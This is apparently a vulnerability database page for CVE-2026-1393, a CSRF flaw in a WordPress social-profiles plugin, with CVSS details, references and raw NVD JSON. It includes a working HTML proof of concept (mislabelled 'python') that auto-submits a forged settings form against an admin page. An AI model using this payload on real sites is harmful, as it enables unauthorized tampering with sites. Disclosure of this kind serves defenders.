CVE-2026-1393

Description

The Add Google Social Profiles to Knowledge Graph Box plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.0. This is due to missing nonce validation on the settings update functionality. This makes it possible for unauthenticated attackers to update the plugin's Knowledge Graph settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Add Google Social Profiles to Knowledge Graph Box <= 1.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- PoC for CVE-2026-1393 CSRF -->
<!-- Save as exploit.html and host on attacker server -->
<html>
  <body>
    <form action="http://victim-site/wp-admin/options-general.php?page=gsp-settings" method="POST">
      <input type="hidden" name="gsp_knowledge_graph_type" value="Organization" />
      <input type="hidden" name="gsp_name" value="Hacked" />
      <input type="submit" value="Click Me" />
    </form>
    <script>document.forms[0].submit();</script>
  </body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-1393
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-1393
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-1393/
[4] VulDB https://vuldb.com/cve/CVE-2026-1393
[5] https://plugins.trac.wordpress.org/browser/add-google-social-profiles-to-knowledge-graph-box/tags/1.0/gsp-options.php#L10
[6] https://plugins.trac.wordpress.org/browser/add-google-social-profiles-to-knowledge-graph-box/trunk/gsp-options.php#L10
[7] https://www.wordfence.com/threat-intel/vulnerabilities/id/19339b9f-8242-44a5-8239-7ef347ffbaad?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-1393", "sourceIdentifier": "[email protected]", "published": "2026-03-21T04:16:53.380", "lastModified": "2026-04-22T21:32:08.360", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Add Google Social Profiles to Knowledge Graph Box plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.0. This is due to missing nonce validation on the settings update functionality. This makes it possible for unauthenticated attackers to update the plugin's Knowledge Graph settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link."}, {"lang": "es", "value": "El plugin Add Google Social Profiles to Knowledge Graph Box para WordPress es vulnerable a falsificación de petición en sitios cruzados en todas las versiones hasta la 1.0, inclusive. Esto se debe a la falta de validación de nonce en la funcionalidad de actualización de ajustes. Esto hace posible que atacantes no autenticados actualicen los ajustes de Knowledge Graph del plugin a través de una petición falsificada, siempre que puedan engañar a un administrador del sitio para que realice una acción como hacer clic en un enlace."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/add-google-social-profiles-to-knowledge-graph-box/tags/1.0/gsp-options.php#L10", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/add-google-social-profiles-to-knowledge-graph-box/trunk/gsp-options.php#L10", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/19339b9f-8242-44a5-8239-7ef347ffbaad?source=cve", "source": "[email protected]"}]}}